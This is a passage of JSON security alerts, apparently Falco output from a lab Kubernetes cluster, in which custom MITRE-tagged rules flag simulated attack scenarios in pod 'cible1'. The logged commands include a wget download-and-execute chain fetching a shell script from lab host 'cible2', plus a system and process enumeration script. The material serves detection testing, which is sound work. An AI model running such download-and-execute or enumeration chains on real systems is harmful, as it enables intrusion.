PB2","source":"syscall","tags":["T1105","mitre","pb2","pr10_route","scenario_s13"],"time":"2026-11-09T06:12:40.236922455Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:12:40.236922455+0000: Warning Exécution suspecte d’un script shell dans un conteneur (user=root uid=0 command=sh -c PR10_SCENARIO=S13; wget -q http://cible2/manual-tool.sh -O /tmp/.manual-wget-tool.sh; sha256sum /tmp/.manual-wget-tool.sh; chmod +x /tmp/.manual-wget-tool.sh; cp /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh; /bin/sh /tmp/manual-stage-copy.sh; rm -f /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh process=sh parent= container=cible1 pod=cible1 namespace=default)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204760236922455,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh -c PR10_SCENARIO=S13; wget -q http://cible2/manual-tool.sh -O /tmp/.manual-wget-tool.sh; sha256sum /tmp/.manual-wget-tool.sh; chmod +x /tmp/.manual-wget-tool.sh; cp /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh; /bin/sh /tmp/manual-stage-copy.sh; rm -f /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh","proc.name":"sh","proc.pname":null,"user.name":"root","user.uid":0},"priority":"Warning","rule":"Shell Script Executed From Writable Container Path","source":"syscall","tags":["caldera","container","mitre","script_execution"],"time":"2026-11-09T06:12:40.236922455Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:12:40.241696917+0000: Warning CUSTOM T1105 - Transfert suspect d’un outil (user=root command=wget -q http://cible2/manual-tool.sh -O /tmp/.manual-wget-tool.sh container=cible1)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204760241696917,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"wget -q http://cible2/manual-tool.sh -O /tmp/.manual-wget-tool.sh","proc.name":"wget","user.name":"root"},"priority":"Warning","rule":"Custom T1105 Suspicious Tool Transfer","source":"syscall","tags":["T1105","custom","mitre"],"time":"2026-11-09T06:12:40.241696917Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:12:40.241696917+0000: Critical Executing binary not part of base image | proc_exe=wget proc_sname=sh gparent= proc_exe_ino_ctime=1794203434808940818 proc_exe_ino_mtime=1741415006000000000 proc_exe_ino_ctime_duration_proc_start=1325431264524 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=wget proc_exepath=/usr/bin/wget parent=sh command=wget -q http://cible2/manual-tool.sh -O /tmp/.manual-wget-tool.sh terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER","output_fields":{"container.start_ts":1794203423779498188,"evt.arg.flags":"EXE_WRITABLE|EXE_UPPER_LAYER","evt.time.iso8601":1794204760241696917,"evt.type":"execve","fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.aname[2]":null,"proc.cmdline":"wget -q http://cible2/manual-tool.sh -O /tmp/.manual-wget-tool.sh","proc.cwd":"/","proc.exe":"wget","proc.exe_ino.ctime":1794203434808940818,"proc.exe_ino.ctime_duration_proc_start":1325431264524,"proc.exe_ino.mtime":1741415006000000000,"proc.exepath":"/usr/bin/wget","proc.name":"wget","proc.pname":"sh","proc.sname":"sh","proc.tty":0,"user.loginuid":-1,"user.name":"root","user.uid":0},"priority":"Critical","rule":"Drop and execute new binary in container","source":"syscall","tags":["PCI_DSS_11.5.1","TA0003","container","maturity_stable","mitre_persistence","process"],"time":"2026-11-09T06:12:40.241696917Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:12:40.310176596+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh /tmp/manual-stage-copy.sh parent=sh container=cible1 pod=cible1)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204760310176596,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh /tmp/manual-stage-copy.sh","proc.name":"sh","proc.pname":"sh","user.name":"root"},"priority":"Warning","rule":"Custom T1059.004 Non Interactive Shell","source":"syscall","tags":["T1059.004","custom","mitre"],"time":"2026-11-09T06:12:40.310176596Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:12:40.310176596+0000: Warning CUSTOM T1082 - Exécution d’un script d’énumération (user=root command=sh /tmp/manual-stage-copy.sh parent=sh container=cible1)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204760310176596,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh /tmp/manual-stage-copy.sh","proc.name":"sh","proc.pname":"sh","user.name":"root"},"priority":"Warning","rule":"Custom T1082 Enumeration Script","source":"syscall","tags":["T1082","custom","mitre"],"time":"2026-11-09T06:12:40.310176596Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:12:40.310176596+0000: Warning Exécution suspecte d’un script shell dans un conteneur (user=root uid=0 command=sh /tmp/manual-stage-copy.sh process=sh parent=sh container=cible1 pod=cible1 namespace=default)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204760310176596,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh /tmp/manual-stage-copy.sh","proc.name":"sh","proc.pname":"sh","user.name":"root","user.uid":0},"priority":"Warning","rule":"Shell Script Executed From Writable Container Path","source":"syscall","tags":["caldera","container","mitre","script_execution"],"time":"2026-11-09T06:12:40.310176596Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:12:46.806584234+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S14; printf '%s\\n' '#!/bin/sh' 'id' 'uname -a' 'ps aux | head -10' 'ls -la /tmp | head -20' > /tmp/manual-shell.sh; chmod +x /tmp/manual-shell.sh; /bin/sh /tmp/manual-shell.sh; rm -f /tmp/manual-shell.sh parent= container=cible1 pod=cible1)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204766806584234,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh -c PR10_SCENARIO=S14; printf '%s\\n' '#!/bin/sh' 'id' 'uname -a' 'ps aux | head -10' 'ls -la /tmp | head -20' > /tmp/manual-shell.sh; chmod +x /tmp/manual-shell.sh; /bin/sh /tmp/manual-shell.sh; rm -f /tmp/manual-shell.sh","proc.name":"sh","proc.pname":null,"user.name":"root"},"priority":"Warning","rule":"Custom T1059.004 Non Interactive Shell","source":"syscall","tags":["T1059.004","custom","mitre"],"time":"2026-11-09T06:12:46.806584234Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:12:46.806584234+0000: Warning CUSTOM T1082 - Exécution d’un script d’énumération (user=root command=sh -c PR10_SCENARIO=S14; printf '%s\\n' '#!/bin/sh' 'id' 'uname -a' 'ps aux | head -10' 'ls -la /tmp | head -20' > /tmp/manual-shell.sh; chmod +x /tmp/manual-shell.sh; /bin/sh /tmp/manual-shell.sh; rm -f /tmp/manual-shell.sh parent= container=cible1)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204766806584234,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh -c PR10_SCENARIO=S14; printf '%s\\n' '#!/bin/sh' 'id' 'uname -a' 'ps aux | head -10' 'ls -la /tmp | head -20' > /tmp/manual-shell.sh; chmod +x /tmp/manual-shell.sh; /bin/sh /tmp/manual-shell.sh; rm -f /tmp/manual-shell.sh","proc.name":"sh","proc.pname":null,"user.name":"root"},"priority":"Warning","rule":"Custom T1082 Enumeration Script","source":"syscall","tags":["T1082","custom","mitre"],"time":"2026-11-09T06:12:46.806584234Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:12:46.806584234+0000: Warning PR10 ROUTE S14 PB3 (pod=cible1 namespace=default scenario=S14 commande=sh -c PR10_SCENARIO=S14; printf '%s\\n' '#!/bin/sh' 'id' 'uname -a' 'ps aux | head -10' 'ls -la /tmp | head -20' > /tmp/manual-shell.sh; chmod +x /tmp/manual-shell.sh; /bin/sh /tmp/manual-shell.sh; rm -f /tmp/manual-shell.sh)","output_fields":{"evt.time.iso8601":1794204766806584234,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh -c PR10_SCENARIO=S14; printf '%s\\n' '#!/bin/sh' 'id' 'uname -a' 'ps aux | head -10' 'ls -la /tmp | head -20' > /tmp/manual-shell.sh; chmod +x /tmp/manual-shell.sh; /bin/sh /tmp/manual-shell.sh; rm -f /tmp/manual-shell.sh","proc.name":"sh"},"priority":"Warning","rule":"PR10 Route S14 PB3","source":"syscall","tags":["T1059.004","mitre","pb3","pr10_route","scenario_s14"],"time":"2026-11-09T06:12:46.806584234Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:12:46.806584234+0000: Warning Exécution suspecte d’un script shell dans un conteneur (user=root uid=0 command=sh -c PR10_SCENARIO=S14; printf '%s\\n' '#!/bin/sh' 'id' 'uname -a' 'ps aux | head -10' 'ls -la /tmp | head -20' > /tmp/manual-shell.sh; chmod +x /tmp/manual-shell.sh; /bin/sh /tmp/manual-shell.sh; rm -f /tmp/manual-shell.sh process=sh parent= container=cible1 pod=cible1 namespace=default)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204766806584234,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh -c PR10_SCENARIO=S14; printf '%s\\n' '#!/bin/sh' 'id' 'uname -a' 'ps aux | head -10' 'ls -la /tmp | head -20' > /tmp/manual-shell.sh; chmod +x /tmp/manual-shell.sh; /bin/sh /tmp/manual-shell.sh; rm -f /tmp/manual-shell.sh","proc.name":"sh","proc.pname":null,"user.name":"root","user.uid":0},"priority":"Warning","rule":"Shell Script Executed From Writable Container Path","source":"syscall","tags":["caldera","container","mitre","script_execution"],"time":"2026-11-09T06:12:46.806584234Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:12:46.819286728+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh /tmp/manual-shell.sh parent=sh container=cible1 pod=cible1)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204766819286728,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh /tmp/manual-shell.sh","proc.name":"sh","proc.pname":"sh","user.name":"root"},"priority":"Warning","rule":"Custom T1059.004 Non Interactive Shell","source":"syscall","tags":["T1059.004","custom","mitre"],"time":"2026-11-09T06:12:46.819286728Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:12:46.819286728+0000: Warning CUSTOM T1082 - Exécution d’un script d’énumération (user=root command=sh /tmp/manual-shell.sh parent=sh container=cible1)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204766819286728,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh /tmp/manual-shell.sh","proc.name":"sh","proc.pname":"sh","user.name":"root"},"priority":"Warning","rule":"Custom T1082 Enumeration Script","source":"syscall","tags":["T1082","custom","mitre"],"time":"2026-11-09T06:12:46.819286728Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:12:46.819286728+0000: Warning Exécution suspecte d’un script shell dans un conteneur (user=root uid=0 command=sh /tmp/manual-shell.sh process=sh parent=sh container=cible1 pod=cible1 namespace=default)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204766819286728,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh /tmp/manual-shell.sh","proc.name":"sh","proc.pname":"sh","user.name":"root","user.uid":0},"priority":"Warning","rule":"Shell Script Executed From Writable Container Path","source":"syscall","tags":["caldera","container","mitre","script_execution"],"time":"2026-11-09T06:12:46.819286728Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:12:46.832800126+0000: Notice CUSTOM T1057 - Découverte des processus (user=root command=ps aux parent=sh container=cible1)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204766832800126,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"ps aux","proc.name":"ps","proc.pname":"sh","user.name":"root"},"priority":"Notice","rule":"Custom T1057 Process Discovery","source":"syscall","tags":["T1057","custom","mitre"],"time":"2026-11-09T06:12:46.832800126Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:12:46.832800126+0000: Critical Executing binary not part of base image | proc_exe=ps proc_sname=sh gparent=sh proc_exe_ino_ctime=1794203434720940389 proc_exe_ino_mtime=1753876720000000000 proc_exe_ino_ctime_duration_proc_start=1332111303754 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=ps proc_exepath=/usr/bin/ps parent=sh command=ps aux terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER","output_fields":{"container.start_ts":1794203423779498188,"evt.arg.flags":"EXE_WRITABLE|EXE_UPPER_LAYER","evt.time.iso8601":1794204766832800126,"evt.type":"execve","fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.aname[2]":"sh","proc.cmdline":"ps aux","proc.cwd":"/","proc.exe":"ps","proc.exe_ino.ctime":1794203434720940389,"proc.exe_ino.ctime_duration_proc_start":1332111303754,"proc.exe_ino.mtime":1753876720000000000,"proc.exepath":"/usr/bin/ps","proc.name":"ps","proc.pname":"sh","proc.sname":"sh","proc.tty":0,"user.loginuid":-1,"user.name":"root","user.uid":0},"priority":"Critical","rule":"Drop and execute new binary in container","source":"syscall","tags":["PCI_DSS_11.5.1","TA0003","container","maturity_stable","mitre_persistence","process"],"time":"2026-11-09T06:12:46.832800126Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:12:46.832800126+0000: Warning PR10 RESPONSE PB1 (pod=cible1 namespace=default processus=ps commande=ps aux)","output_fields":{"evt.time.iso8601":1794204766832800126,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"ps aux","proc.name":"ps"},"priority":"Warning","rule":"PR10 Response Trigger PB1 Process Discovery","source":"syscall","tags":["T1057","mitre","pb1","pr10_response"],"time":"2026-11-09T06:12:46.832800126Z"}